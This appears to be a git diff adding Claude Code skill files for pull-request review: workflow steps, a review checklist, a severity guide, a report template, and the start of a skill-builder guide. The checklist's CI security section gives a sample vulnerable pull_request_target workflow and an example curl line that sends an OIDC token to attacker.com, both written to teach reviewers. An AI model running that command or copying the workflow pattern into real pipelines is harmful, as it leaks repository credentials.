+### Determining Relevant Skills + +Before providing handoff instructions, identify which skills were loaded for this review: + +1. **pr-review skill**: Always relevant (this skill) +2. **Repository-specific skills**: Any skills matching the repository being reviewed (e.g., llama-stack, vllm) +3. **Domain-specific skills**: Any skills relevant to the PR content (e.g., auth-security for authentication/authorization code) + +**Example**: For a llama-stack PR, both `pr-review` and `llama-stack` skills would be relevant. + +### Handoff Instruction Template + +**IMPORTANT**: Only provide the plain text prompt below. Do NOT invent or reference non-existent slash commands (like `/continue-pr-review`). The only real slash command is `/bbrowning-claude:pr-review` which was already used to set up the worktree. + +``` +I've created a git worktree for PR # (/) at: + +To continue the review in an isolated environment: + +1. Open a new terminal +2. Navigate to the worktree: cd +3. Launch Claude Code: claude +4. In the new Claude Code session, provide this prompt: + + > Review PR # for /. I'm already in a git worktree with the PR checked out. Use [list ALL relevant skills: pr-review, , ] and skip directly to step 3 (Gather PR Context) since the worktree is already set up. + +This ensures we're reviewing the correct code in isolation with all necessary context. +``` + +**Why this matters:** +- Repository-specific skills contain critical domain knowledge (e.g., llama-stack's recordings/ handling, distributed systems concerns) +- Domain-specific skills provide specialized security or technical guidance +- Without all skills, the review loses important context and may miss critical issues + +--- + +**⚠️ STOP: The steps below (3-9) are ONLY performed in the NEW Claude Code session within the worktree.** + +**If you just created a worktree in step 1-2, DO NOT proceed to step 3. Provide handoff instructions and wait for the user to start a new session.** + +**If you're in a fresh session and the user says "already in worktree" or "skip to step 3", then proceed with step 3.** + +--- + +**IMPORTANT**: Remember to clean up the worktree after completing the review (see section 9 below). + +## 3. Gather PR Context + +**Fetch PR details:** +```bash +gh pr view --json title,body,commits,comments,reviews,files +``` + +Extract and note: +- PR title and description +- Number of commits and commit messages +- Files changed +- Existing comments and reviews +- Any unaddressed review comments + +**Identify unaddressed comments:** +Look for review comments that: +- Have no replies from the PR author +- Requested changes that weren't made +- Raised concerns not acknowledged +- Are marked as unresolved + +Flag these prominently in your review. + +## 4. Analyze Code Changes + +**Get the diff:** +```bash +gh pr diff > pr_changes.diff +``` + +For large PRs (>500 lines changed), break the review into logical sections (e.g., by file, by functionality). + +Reference the local pr_changes.diff as you need to find changes in the PR over repeated calls to `gh pr diff`. And remember that you are already in a directory that has the PR cloned and checked out, so you can also look at local files. + +**Review each changed file systematically:** + +Use Read, Grep, and Glob tools to examine: +- Changed files and surrounding context +- Related files that might be affected +- Test files for the changed code +- Documentation for updated features + +**Apply review checklist:** + +For comprehensive criteria, see `reference/review-checklist.md`. Key areas: + +1. **Code Quality** + - Readability and maintainability + - Follows project conventions + - Appropriate abstraction levels + - Error handling + +2. **Correctness** + - Logic is sound + - Edge cases handled + - No obvious bugs + - Changes align with PR description + +3. **Testing** + - Tests included for new functionality + - Tests cover edge cases + - Existing tests still pass + - Test quality is adequate + +4. **Security** + - No security vulnerabilities + - Input validation present + - No exposed secrets or credentials + - Safe handling of user data + - **CRITICAL**: Check for `pull_request_target` + checkout of untrusted code pattern in workflows + - CI/CD workflows don't expose secrets or OIDC tokens to untrusted code + - **Authentication/Authorization**: For PRs involving JWT tokens, MCP servers, or other authentication/authorization code, invoke the `auth-security` skill for comprehensive security guidance on JWT validation, token exchange, OAuth 2.1 compliance, and MCP authorization patterns + +5. **Performance** + - No obvious performance issues + - Efficient algorithms + - No unnecessary operations + - Database queries optimized + +6. **Backward Compatibility** + - Public API changes are compatible + - Database migrations are safe + - Configuration changes documented + - Deprecation handled properly + +7. **Documentation** + - Code comments where needed + - API docs updated + - README updated if needed + - Breaking changes documented + +## 5. Cross-Cutting Concerns + +**Check alignment with PR description:** +- All described changes are present +- No undescribed significant changes +- Commit messages match changes + +**Verify comments match code:** +- Inline comments are accurate +- No outdated comments from refactoring +- Documentation reflects actual behavior + +**Assess scope creep:** +- Changes are focused on stated goal +- No unrelated refactoring +- Separate concerns properly + +## 6. Categorize Findings + +Use the severity guide in `reference/severity-guide.md` to categorize each finding: + +- **Critical**: Must fix before merge (security, data loss, breaking changes) +- **High**: Should fix before merge (bugs, significant issues) +- **Medium**: Should address but not blocking (code quality, minor issues) +- **Low**: Optional improvements (style, suggestions) + +Be specific about: +- What the issue is +- Why it matters +- How to fix it (or suggest approaches) +- File and line references + +## 7. Generate Review Report + +Write findings to `./pr_review_results.md` using the template in `templates/review-report.md`. + +**Report structure:** +1. Executive summary +2. Unaddressed comments from others +3. Findings by severity +4. Positive observations +5. Final recommendation (approve/request changes/needs discussion) + +**Key principles:** +- Be constructive and specific +- Include code references (file:line) +- Distinguish blockers from suggestions +- Highlight what's done well +- Provide actionable guidance + +## 8. Present to User + +After writing `./pr_review_results.md`, present: +1. Summary of key findings +2. Number of issues by severity +3. Critical blockers if any +4. Any unaddressed comments from others +5. Overall recommendation + +Ask if the user wants: +- Details on any specific finding +- To focus on particular aspects +- To leave review comments on GitHub + +## 9. Clean Up the Worktree + +**After completing the PR review**, return to the original terminal session where you created the worktree and clean up: + +### Automated Cleanup (Recommended) + +Clean up the worktree and branch: + +```bash +# Return to the main repository (if not already there) +cd /path/to/ + +# Remove the worktree (--force handles modified/untracked files) +git worktree remove --force -pr- + +# Delete the local branch +git branch -D -pr- +``` + +**Example for vLLM PR #12345:** +```bash +cd ~/src/vllm +git worktree remove --force vllm-pr-12345 +git branch -D vllm-pr-12345 +``` + +This will: +- Remove the worktree directory (including any modified/untracked files) +- Delete the local branch +- Clean up git metadata + +### Manual Cleanup + +Alternative approach with verification step: + +```bash +# Navigate to the main repository +cd /path/to/ + +# List worktrees to verify the one to remove +git worktree list + +# Remove the worktree (--force handles modified/untracked files) +git worktree remove --force -pr- + +# Delete the local branch +git branch -D -pr- +``` + +**Why cleanup matters:** +- Prevents orphaned worktrees consuming disk space +- Avoids confusion about which worktree to use +- Keeps the repository clean and organized + +**Safety note:** The worktree removal is safe because: +- PR review results should have been saved to the main worktree or submitted to GitHub +- The worktree was for review only (no development work) +- The PR branch still exists on GitHub + +## Repository-Specific Skills + +**IMPORTANT**: After gathering PR context and determining which repository is being reviewed, check for repository-specific skills that provide specialized review guidance. + +### Discovering Repository-Specific Skills + +1. **Identify the repository** from the PR context (e.g., `llamastack/llama-stack`, `vllm-project/vllm`) +2. **Search for matching skills** using common repository identifiers: + - Repository name (e.g., "llama-stack", "vllm") + - Organization name (e.g., "llamastack") + - Project name variations +3. **Invoke repository-specific skill** if found, using the Skill tool +4. **Apply specialized guidance** from the skill throughout your review + +### Example: Reviewing a Llama Stack PR + +``` +1. Gather PR context → Determine repository is "llamastack/llama-stack" +2. Check for skills → Find "Reviewing Llama Stack Code" skill +3. Invoke skill → Use Skill tool with "bbrowning-claude:llama-stack" +4. Apply guidance → Use Llama Stack-specific patterns in review +``` + +### Benefits of Repository-Specific Skills + +- **Specialized knowledge**: Project-specific architecture patterns and conventions +- **Critical gotchas**: Common mistakes specific to that codebase +- **Review focus**: What matters most for that particular project +- **Efficiency**: Pre-encoded knowledge from previous reviews + +### When No Repository-Specific Skill Exists + +If no specialized skill is found: +- Proceed with general code review criteria +- Consider creating a repository-specific skill if you identify recurring patterns +- Document project-specific observations for future reference + +## Common Pitfalls to Avoid + +- **Don't guess**: If you can't determine something from the code, note it as a question +- **Don't run code**: Security risk - only read and analyze +- **Don't be vague**: "This looks wrong" → "This function doesn't handle null inputs (see line 42)" +- **Don't forget context**: Read surrounding code to understand intent +- **Don't ignore tests**: Test quality matters as much as code quality + +## Validation Checklist + +Before completing the review, ensure: +- [ ] PR context gathered (description, comments, reviews) +- [ ] Repository identified and repository-specific skill invoked if available +- [ ] All changed files examined +- [ ] Unaddressed comments identified +- [ ] All review checklist areas covered +- [ ] Repository-specific patterns validated (if applicable) +- [ ] Findings categorized by severity +- [ ] Review report written to `./pr_review_results.md` +- [ ] Specific file:line references included +- [ ] Actionable recommendations provided +- [ ] Positive aspects noted +- [ ] Final recommendation clear +- [ ] User reminded to clean up worktree after review (section 9) + +## Extending This Skill + +This skill is designed to be customized: + +1. **Add review criteria**: Edit `reference/review-checklist.md` +2. **Adjust severity definitions**: Modify `reference/severity-guide.md` +3. **Customize report format**: Update `templates/review-report.md` +4. **Add repository-specific guidance**: Create new repository-specific skills (e.g., `llama-stack`, `vllm`) rather than modifying this skill +5. **Security guidelines**: For authentication and authorization security, use the `auth-security` skill + +### Creating Repository-Specific Skills + +For repositories you frequently review, create dedicated skills: + +1. Use the `skill-builder` skill for guidance on creating skills +2. Name the skill after the repository (e.g., "Reviewing Llama Stack Code") +3. Include in the description: repository name, common variations, and "PR review" or "code review" +4. Document architecture patterns, testing conventions, and critical gotchas +5. The pr-review skill will automatically discover and invoke it + +The goal is a thorough, actionable review that helps maintain code quality while being respectful and constructive. diff --git a/skills/pr-review/reference/review-checklist.md b/skills/pr-review/reference/review-checklist.md new file mode 100644 index 0000000..67eef6b --- /dev/null +++ b/skills/pr-review/reference/review-checklist.md @@ -0,0 +1,364 @@ +# Comprehensive PR Review Checklist + +This document provides detailed criteria for reviewing pull requests. Use this as a reference when conducting thorough code reviews. + +## Code Quality + +### Readability +- [ ] Variable and function names are descriptive and meaningful +- [ ] Code structure is logical and easy to follow +- [ ] Nesting depth is reasonable (avoid deeply nested conditionals) +- [ ] Functions are focused and do one thing well +- [ ] Magic numbers are replaced with named constants +- [ ] Complex logic has explanatory comments + +### Maintainability +- [ ] Code follows DRY principle (Don't Repeat Yourself) +- [ ] Abstractions are at appropriate levels +- [ ] Dependencies are minimal and justified +- [ ] Code is modular and loosely coupled +- [ ] Future changes would be straightforward + +### Project Conventions +- [ ] Follows established coding style +- [ ] Uses project's preferred patterns and idioms +- [ ] File and directory organization matches conventions +- [ ] Naming conventions are consistent +- [ ] Import/require statements follow project standards + +### Error Handling +- [ ] Errors are caught and handled appropriately +- [ ] Error messages are helpful and specific +- [ ] No silent failures or swallowed exceptions +- [ ] Edge cases have explicit handling +- [ ] Graceful degradation where appropriate + +## Correctness + +### Logic +- [ ] Algorithm is correct for stated purpose +- [ ] Conditions and loops are correctly structured +- [ ] Off-by-one errors are avoided +- [ ] State management is sound +- [ ] Async operations are properly handled + +### Edge Cases +- [ ] Null/undefined/nil values handled +- [ ] Empty collections handled +- [ ] Boundary conditions addressed (min, max, zero) +- [ ] Concurrent access considered if applicable +- [ ] Integer overflow/underflow considered if applicable + +### Alignment with Intent +- [ ] Implementation matches PR description +- [ ] All described features are present +- [ ] No undescribed significant changes +- [ ] Commit messages accurately describe changes +- [ ] Solves the stated problem + +## Testing + +### Test Coverage +- [ ] New functionality has tests +- [ ] Modified functionality has updated tests +- [ ] Edge cases are tested +- [ ] Error conditions are tested +- [ ] Integration points are tested + +### Test Quality +- [ ] Tests are readable and maintainable +- [ ] Tests are deterministic (no flaky tests) +- [ ] Tests use appropriate assertions +- [ ] Test data is realistic +- [ ] Tests run in reasonable time +- [ ] Tests don't depend on external services unnecessarily + +### Test Organization +- [ ] Tests are well-organized and grouped logically +- [ ] Test names clearly describe what they test +- [ ] Setup and teardown are appropriate +- [ ] Tests are independent of each other + +## Security + +### Input Validation +- [ ] All user input is validated +- [ ] Input length limits are enforced +- [ ] Type checking is performed +- [ ] Whitelisting used over blacklisting where possible + +### Authentication & Authorization +- [ ] Authentication is required where needed +- [ ] Authorization checks are present +- [ ] Permissions are checked at appropriate level +- [ ] No privilege escalation vulnerabilities + +### Data Safety +- [ ] No hardcoded secrets or credentials +- [ ] Sensitive data is encrypted +- [ ] SQL injection prevented (parameterized queries) +- [ ] XSS vulnerabilities prevented +- [ ] CSRF protection where needed +- [ ] No path traversal vulnerabilities + +### Dependencies +- [ ] New dependencies are necessary and vetted +- [ ] Dependencies are from trusted sources +- [ ] No known vulnerable dependency versions +- [ ] Minimal dependency footprint + +### CI/CD & GitHub Actions Security + +**CRITICAL**: Workflows using `pull_request_target` that checkout untrusted code are a severe security risk. + +#### The `pull_request_target` Anti-Pattern + +The following pattern is **CRITICAL** priority and often missed in reviews: + +```yaml +on: + pull_request_target: # ⚠️ Runs with elevated privileges + +jobs: + build: + permissions: + id-token: write # ⚠️ Can obtain OIDC tokens + steps: + - uses: actions/checkout@v5 + with: + ref: ${{ github.event.pull_request.head.sha }} # ⚠️ Checks out untrusted PR code + - uses: third-party/action@v1 # ⚠️ Processes untrusted code with privileges +``` + +**Why this is dangerous:** +- `pull_request_target` runs workflow from base branch with access to secrets and OIDC tokens +- Checking out PR code brings untrusted files into the workflow environment +- Attacker controls the checked-out files and can exploit third-party actions + +**Attack vectors to consider:** + +1. **Code Execution** + - [ ] Action runs npm install, pip install, or other package managers + - [ ] Action executes scripts from the repository (setup.py, Makefile, etc.) + - [ ] Action processes files in ways that could trigger code execution + +2. **YAML/File Content Exploitation** + - [ ] Malicious YAML could exploit unsafe deserialization + - [ ] Injection attacks if file content passed to shell commands + - [ ] Path traversal vulnerabilities in file processing + +3. **OIDC Token Exfiltration** + - [ ] Any code execution allows: `curl attacker.com/?token=$ACTIONS_ID_TOKEN_REQUEST_TOKEN` + - [ ] Token accessible via environment variables and GitHub API + - [ ] Could be used to impersonate the repository in cloud services + +4. **Supply Chain Attacks** + - [ ] Poison SDK/package builds to inject malicious code + - [ ] Modify artifacts before publication + - [ ] Compromise downstream users of generated packages + +**What to verify when reviewing workflows:** + +- [ ] **Avoid the pattern entirely**: Can this use `pull_request` instead? +- [ ] **Audit third-party actions**: Review the action's source code at the pinned commit + - What does it do with checked-out files? + - Does it execute any code from the repository? + - Does it run package managers? + - How does it parse YAML/config files? +- [ ] **Verify repository settings**: Is manual approval required for fork PRs? + - Settings → Actions → General + - "Require approval for all outside collaborators" should be enabled +- [ ] **Implement defense-in-depth**: + - Use sparse checkout to limit files available + - Add validation steps before processing untrusted files + - Minimize permissions granted to workflows +- [ ] **Consider access model**: Who can trigger workflows? (In repos where anyone with 1+ merged PR can open new PRs, risk is higher) + +**The complete trust chain:** + +When a workflow uses `pull_request_target` + checkout + third-party action, you're trusting: +1. The action never executes code from the repository +2. The action safely parses all file formats (YAML, JSON, etc.) +3. The action only reads specified files (no path traversal) +4. The action doesn't leak environment variables +5. The action doesn't pass file content to shell/system calls unsafely +6. The action's dependencies are not compromised +7. The pinned commit wasn't malicious when created +8. Manual approval (if configured) actually prevents abuse + +**If ANY of these fail, the repository is compromised.** + +**Red flags requiring CRITICAL classification:** +- `pull_request_target` + checkout of PR code + `id-token: write` permission +- `pull_request_target` + checkout of PR code + `secrets: inherit` +- `pull_request_target` + checkout of PR code + third-party actions processing those files +- Comments claiming "this is safe" without verification/audit + +**Safer alternatives:** +- Use `pull_request` trigger (no secrets/OIDC access) +- Use sparse checkout to limit exposure +- Implement separate validation job before privileged operations +- Require explicit manual approval for all fork PRs + +**Remember**: A comment in the workflow saying "this is safe because the action only reads files" is NOT sufficient verification. That claim must be proven through source code audit and security review of the action. + +## Performance + +### Efficiency +- [ ] No unnecessary computations +- [ ] Appropriate data structures chosen +- [ ] Loops are efficient +- [ ] No N+1 query problems +- [ ] Caching used appropriately + +### Scalability +- [ ] Handles expected load +- [ ] No obvious bottlenecks +- [ ] Memory usage is reasonable +- [ ] Resource cleanup is proper + +### Database +- [ ] Queries are optimized +- [ ] Indexes are appropriate +- [ ] No full table scans on large tables +- [ ] Batch operations where applicable +- [ ] Connection pooling used properly + +## Backward Compatibility + +### API Changes +- [ ] Public API maintains backward compatibility +- [ ] Breaking changes are documented and justified +- [ ] Deprecation warnings added before removal +- [ ] Version numbers updated appropriately + +### Database +- [ ] Migrations are reversible +- [ ] Migrations handle existing data safely +- [ ] No data loss in migrations +- [ ] Column renames/removals are staged appropriately + +### Configuration +- [ ] Config changes are backward compatible +- [ ] Default values maintain existing behavior +- [ ] Environment variable changes documented +- [ ] Feature flags used for risky changes + +### Dependencies +- [ ] Dependency updates are compatible +- [ ] Breaking changes in dependencies handled +- [ ] Lock files updated appropriately + +## Documentation + +### Code Documentation +- [ ] Complex logic has explanatory comments +- [ ] Comments explain "why" not "what" +- [ ] No outdated or misleading comments +- [ ] Public APIs have documentation +- [ ] Function parameters and returns documented + +### Project Documentation +- [ ] README updated if user-facing changes +- [ ] API documentation updated +- [ ] Configuration changes documented +- [ ] Migration guides for breaking changes +- [ ] CHANGELOG updated if applicable + +### Comments +- [ ] TODOs have context and ownership +- [ ] No commented-out code (use version control) +- [ ] Comments add value + +## Architecture & Design + +### Design Patterns +- [ ] Appropriate patterns used +- [ ] No anti-patterns introduced +- [ ] Consistent with existing architecture +- [ ] SOLID principles followed + +### Separation of Concerns +- [ ] Business logic separated from presentation +- [ ] Data access layer properly abstracted +- [ ] Cross-cutting concerns handled appropriately + +### Modularity +- [ ] Changes are properly encapsulated +- [ ] Minimal coupling between modules +- [ ] Clear interfaces and contracts + +## Git Hygiene + +### Commits +- [ ] Commits are logical units +- [ ] Commit messages are clear and descriptive +- [ ] No merge commits in feature branch (if applicable) +- [ ] No "WIP" or "fix typo" commits in final PR + +### Scope +- [ ] PR is focused on single concern +- [ ] No unrelated changes +- [ ] PR is reviewable size (not too large) + +## Language-Specific Considerations + +### Python +- [ ] Type hints used appropriately +- [ ] Context managers used for resources +- [ ] List comprehensions readable +- [ ] Virtual environment properly configured + +### JavaScript/TypeScript +- [ ] TypeScript types are specific (not `any`) +- [ ] Promises handled properly +- [ ] Memory leaks prevented (event listeners cleaned up) +- [ ] Bundle size impact considered + +### Go +- [ ] Errors are checked +- [ ] defer used appropriately +- [ ] Goroutines properly managed +- [ ] Race conditions prevented + +### Java +- [ ] Exceptions properly handled +- [ ] Resources closed properly +- [ ] Thread safety considered +- [ ] Appropriate access modifiers used + +### Rust +- [ ] Ownership and borrowing correct +- [ ] Unsafe code justified and minimal +- [ ] Error handling idiomatic (Result/Option) +- [ ] Lifetime annotations appropriate + +## Review Process + +### Context +- [ ] Read PR description thoroughly +- [ ] Understand the problem being solved +- [ ] Check related issues/discussions +- [ ] Review previous comments on PR + +### Thoroughness +- [ ] All changed files reviewed +- [ ] Related unchanged files checked for impact +- [ ] Tests examined +- [ ] CI results checked + +### Communication +- [ ] Feedback is constructive +- [ ] Specific file and line references provided +- [ ] Suggestions include rationale +- [ ] Questions asked for unclear code +- [ ] Positive aspects acknowledged + +## Customization + +This checklist can be extended with repository-specific criteria. Add custom sections below for: +- Framework-specific patterns +- Organization coding standards +- Domain-specific requirements +- Compliance requirements +- Performance benchmarks diff --git a/skills/pr-review/reference/severity-guide.md b/skills/pr-review/reference/severity-guide.md new file mode 100644 index 0000000..95aba2d --- /dev/null +++ b/skills/pr-review/reference/severity-guide.md @@ -0,0 +1,279 @@ +# Severity Classification Guide + +Use this guide to consistently categorize findings during PR reviews. Each finding should be classified by severity to help prioritize fixes. + +## Severity Levels + +### Critical + +**Definition**: Issues that MUST be fixed before merge. These pose immediate risks or cause serious problems. + +**When to use**: +- Security vulnerabilities (SQL injection, XSS, exposed secrets) +- Data loss or corruption risks +- Breaking changes to public APIs without proper deprecation +- Code that will crash in production +- Severe performance issues (timeouts, memory leaks) +- Introduces legal/compliance violations + +**Examples**: +- Hardcoded API key in source code +- SQL query vulnerable to injection +- Deleting data without transaction protection +- Breaking change to widely-used API +- Memory leak that grows unbounded +- Removing authentication check +- **GitHub Actions workflow using `pull_request_target` + checkout of untrusted code + `id-token: write`** +- **CI/CD workflow that exposes secrets or OIDC tokens to untrusted code** + +**Characteristics**: +- Blocks merge +- Requires immediate fix +- Has production impact +- No workarounds available + +### High + +**Definition**: Significant issues that should be fixed before merge. These cause problems but may have temporary workarounds. + +**When to use**: +- Logic bugs that affect core functionality +- Missing error handling for likely errors +- Incomplete implementations +- Missing critical tests +- Performance issues that impact user experience +- Incorrect algorithm or approach + +**Examples**: +- Function returns wrong result for valid input +- No error handling for network call +- Feature incomplete (half-implemented) +- No tests for new API endpoint +- O(n²) algorithm where O(n) is possible +- Race condition in concurrent code + +**Characteristics**: +- Should block merge +- Affects functionality +- May have workarounds +- Needs addressing before release + +### Medium + +**Definition**: Issues that should be addressed but don't block merge. These affect code quality, maintainability, or minor functionality. + +**When to use**: +- Code quality issues +- Missing edge case handling +- Suboptimal implementations +- Insufficient test coverage +- Documentation gaps +- Minor design issues + +**Examples**: +- Function is too complex and hard to read +- Doesn't handle empty array case +- Using map where set would be better +- No tests for error paths +- Missing docstring for public function +- Repeated code that should be extracted + +**Characteristics**: +- Doesn't block merge +- Affects maintainability +- Should be addressed soon +- Follow-up PR acceptable + +### Low + +**Definition**: Suggestions and minor improvements. Nice to have but not required. + +**When to use**: +- Style preferences +- Minor optimizations +- Suggestions for future improvements +- Naming suggestions +- Comment improvements +- Non-critical refactoring ideas + +**Examples**: +- Variable could have more descriptive name +- Could use newer language feature +- Comment could be more detailed +- Alternative approach suggestion +- Formatting inconsistency +- Typo in comment + +**Characteristics**: +- Doesn't block merge +- Optional improvements +- Personal preference +- Future enhancement ideas + +## Classification Decision Tree + +Use this flowchart to determine severity: + +``` +Does this create a security risk or data loss? +├─ YES → Critical +└─ NO ↓ + +Does this cause incorrect behavior or crashes? +├─ YES → High +└─ NO ↓ + +Does this impact code quality or maintainability significantly? +├─ YES → Medium +└─ NO ↓ + +Is this a suggestion or minor improvement? +└─ YES → Low +``` + +## Context Matters + +The same issue can have different severities based on context: + +### Example: Missing Error Handling + +**Critical**: Payment processing endpoint +- Could lose money or charge incorrectly +- No recovery mechanism + +**High**: User data fetch +- Core functionality broken +- Error affects user experience + +**Medium**: Analytics tracking +- Non-critical feature +- Failure is acceptable + +**Low**: Debug logging +- Optional feature +- No impact on users + +### Example: Performance Issue + +**Critical**: Database query on high-traffic endpoint +- Causes timeouts under load +- Affects all users + +**High**: Slow algorithm in user-facing feature +- Noticeable delay (>1s) +- Frequent operation + +**Medium**: Inefficient background job +- Runs occasionally +- Has time budget + +**Low**: Inefficiency in dev tooling +- Rarely executed +- Minimal impact + +## Borderline Cases + +When a finding could fit multiple categories: + +### Between Critical and High +Ask: Will this definitely cause production issues? +- Definitely → Critical +- Probably → High + +### Between High and Medium +Ask: Does this affect core functionality? +- Yes → High +- No → Medium + +### Between Medium and Low +Ask: Does this impact maintainability significantly? +- Yes → Medium +- No → Low + +## Special Considerations + +### Breaking Changes +- With migration path + deprecation → High +- Without migration path → Critical + +### Test Issues +- No tests for new API → High +- Incomplete test coverage → Medium +- Test quality issues → Low + +### Documentation +- Missing docs for public API → Medium +- Incomplete docs → Low +- Typos in docs → Low + +### Dependencies +- Vulnerable dependency → Critical +- Unnecessary dependency → Medium +- Outdated but safe dependency → Low + +## Communicating Severity + +### Critical +- Start with "CRITICAL:" or use strong language +- Explain the immediate risk +- Mark as blocking + +**Example**: +> CRITICAL: This SQL query is vulnerable to injection. An attacker could access all user data. Must use parameterized queries. + +### High +- Clearly state it should block merge +- Explain the problem and impact +- Suggest fix + +**Example**: +> This function will crash when users.length is 0 (see line 42). This should be fixed before merge. Suggest adding a length check or using optional chaining. + +### Medium +- Explain why it matters +- Can be more conversational +- OK to suggest follow-up + +**Example**: +> This function is quite complex and hard to follow. Consider extracting the validation logic into a separate function. Could be addressed in a follow-up PR if needed. + +### Low +- Use softer language ("consider", "might", "could") +- Make it clear it's optional +- Can combine multiple low items + +**Example**: +> Minor: Consider renaming `data` to `userData` for clarity. Also, the comment on line 15 has a typo. + +## Repository-Specific Severity Adjustments + +Some repositories may have custom severity criteria. Add repository-specific rules below: + +### High-Security Projects +- Elevate any security issue to Critical +- Stricter criteria for code quality + +### Fast-Moving Startups +- May accept more Medium issues +- Focus on Critical/High + +### Library/Framework Projects +- Breaking changes are always Critical +- Backward compatibility very important +- Documentation gaps elevated + +### Internal Tools +- Can be more lenient overall +- Security still Critical +- User experience less critical + +## Review Your Classifications + +Before finalizing, check: +- [ ] Each finding has appropriate severity +- [ ] Critical items are truly blocking +- [ ] Low items are clearly optional +- [ ] Severity is justified in the comment +- [ ] Context is considered + +Remember: The goal is to help prioritize fixes, not to be overly critical. When in doubt, err on the side of being helpful rather than strict. diff --git a/skills/pr-review/templates/review-report.md b/skills/pr-review/templates/review-report.md new file mode 100644 index 0000000..a221337 --- /dev/null +++ b/skills/pr-review/templates/review-report.md @@ -0,0 +1,274 @@ +# Pull Request Review: [PR Title] + +**PR**: [org/repo#number] +**Author**: [author] +**Reviewed**: [date] +**Reviewers**: Claude Code PR Review + +--- + +## Executive Summary + +[1-3 sentence summary of the PR and overall assessment] + +**Recommendation**: [Approve / Request Changes / Needs Discussion] + +**Statistics**: +- Files changed: [count] +- Lines added: [+count] +- Lines removed: [-count] +- Commits: [count] + +--- + +## Unaddressed Comments + +[If there are unaddressed review comments from other reviewers, list them here with context] + +### Comment from [reviewer] on [file:line] +> [Quote the comment] + +**Status**: Unaddressed - [No response / No code changes / Needs clarification] + +[Repeat for each unaddressed comment] + +[If no unaddressed comments: "No unaddressed comments from other reviewers."] + +--- + +## Critical Findings + +[Issues that MUST be fixed before merge] + +### [Title of Issue] +**Location**: `[file:line]` +**Severity**: Critical + +**Issue**: +[Clear description of what's wrong] + +**Impact**: +[Why this is critical - security risk, data loss, breaking change, etc.] + +**Recommendation**: +[How to fix it - be specific] + +**Example**: +```[language] +[Show problematic code if helpful] +``` + +[Repeat for each critical finding] + +[If no critical findings: "No critical issues found."] + +--- + +## High Priority Findings + +[Significant issues that should be fixed before merge] + +### [Title of Issue] +**Location**: `[file:line]` +**Severity**: High + +**Issue**: +[What's wrong] + +**Impact**: +[Why this matters] + +**Recommendation**: +[How to fix it] + +[Repeat for each high priority finding] + +[If no high priority findings: "No high priority issues found."] + +--- + +## Medium Priority Findings + +[Issues that should be addressed but don't block merge] + +### [Title of Issue] +**Location**: `[file:line]` +**Severity**: Medium + +**Issue**: +[What could be improved] + +**Impact**: +[Why this matters for code quality/maintainability] + +**Recommendation**: +[Suggested improvements] + +[Repeat for each medium finding] + +[If no medium findings: "No medium priority issues found."] + +--- + +## Low Priority Findings + +[Suggestions and minor improvements] + +### [Title of Issue] +**Location**: `[file:line]` +**Severity**: Low + +**Suggestion**: +[Optional improvement or style suggestion] + +[Can group multiple low-severity items together] + +[If no low findings: "No low priority suggestions."] + +--- + +## Positive Observations + +[Highlight what's done well - this is important for constructive reviews!] + +- [Something done well] +- [Good pattern or approach] +- [Excellent test coverage] +- [Clear documentation] +- [etc.] + +--- + +## Testing Assessment + +**Test Coverage**: [Excellent / Good / Adequate / Insufficient / None] + +**Findings**: +- [Assessment of test quality and coverage] +- [Are tests sufficient for the changes?] +- [Edge cases covered?] +- [Test quality adequate?] + +--- + +## Documentation Assessment + +**Documentation**: [Complete / Adequate / Incomplete / None] + +**Findings**: +- [Are docs updated for user-facing changes?] +- [API documentation adequate?] +- [Code comments where needed?] +- [Breaking changes documented?] + +--- + +## Backward Compatibility Assessment + +**Compatibility**: [Fully Compatible / Compatible with Deprecation / Breaking Changes] + +**Findings**: +- [API changes analysis] +- [Database migration safety] +- [Configuration compatibility] +- [Deprecation handling] + +[If breaking changes:] +**Breaking Changes**: +- [List each breaking change] +- [Justification for breaking change] +- [Migration path provided?] + +--- + +## Performance Considerations + +**Performance Impact**: [Positive / Neutral / Negative / Needs Investigation] + +**Findings**: +- [Any performance improvements or regressions] +- [Algorithm efficiency] +- [Database query optimization] +- [Resource usage] + +--- + +## Security Assessment + +**Security**: [No Issues / Minor Concerns / Significant Issues] + +**Findings**: +- [Input validation adequate?] +- [Authentication/authorization correct?] +- [No exposed secrets?] +- [Dependencies safe?] + +--- + +## Detailed Review Notes + +[Optional section for additional context, questions, or detailed analysis] + +### [File Name] + +[Detailed notes about specific files if needed] + +--- + +## Questions for Author + +[Any clarifying questions about the implementation] + +1. [Question about design choice] +2. [Question about edge case handling] +3. [etc.] + +--- + +## Follow-up Items + +[Issues that could be addressed in follow-up PRs] + +- [ ] [Follow-up item 1] +- [ ] [Follow-up item 2] +- [ ] [etc.] + +--- + +## Final Recommendation + +**Decision**: [Approve / Request Changes / Needs Discussion] + +**Rationale**: +[Explain the recommendation based on findings] + +**Next Steps**: +[What should happen next - fixes needed, discussion required, etc.] + +--- + +## Appendix + +### Review Checklist Applied + +[Optional: Note which checklist areas were reviewed] + +- [x] Code Quality +- [x] Correctness +- [x] Testing +- [x] Security +- [x] Performance +- [x] Backward Compatibility +- [x] Documentation + +### Files Reviewed + +[List of all files examined during review] + +- `[file path]` +- `[file path]` +- ... + +--- + +*This review was conducted using the PR Review skill for Claude Code. For questions or to customize review criteria, edit the skill in `.claude/skills/pr-review/`.* diff --git a/skills/skill-builder/SKILL.md b/skills/skill-builder/SKILL.md new file mode 100644 index 0000000..9d264b2 --- /dev/null +++ b/skills/skill-builder/SKILL.md @@ -0,0 +1,286 @@ +--- +name: Creating and Editing Claude Skills +description: Use before creating or editing any SKILL.md files, and immediately after making skill changes to verify quality. Invoked when user asks about skill structure, descriptions, or best practices. Provides expert guidance on naming, descriptions for discoverability, progressive context reveal, and validation workflows. Critical for ensuring skills are discoverable and effective - prevents poorly structured skills that Claude won't use properly. +--- + +# Writing Claude Skills + +This skill provides comprehensive guidance for creating high-quality Claude Code skills that are modular, discoverable, and effective. + +## What Are Claude Skills? + +Skills are modular capabilities that extend Claude's functionality. They are: +- **Model-invoked**: Claude autonomously decides when to use them based on descriptions +- **Discoverable**: Found through descriptive `SKILL.md` files +- **Shareable**: Can be personal, project-specific, or plugin-bundled + +Skills differ from slash commands (user-invoked) - they're capabilities Claude chooses to use. + +## Core Structure + +Every skill requires a directory containing `SKILL.md` with YAML frontmatter: + +```markdown +--- +name: Your Skill Name +description: Clear, specific one-line description +--- + +# Instructions and content +``` + +For detailed structure information including optional files, see `reference/skill-structure.md`. + +## Key Principles + +### 1. Be Concise +- Keep SKILL.md under 500 lines +- Only include what Claude doesn't already know +- Use progressive disclosure with reference files + +### 2. Clear Naming +- Use gerund form (verb + -ing): "Processing 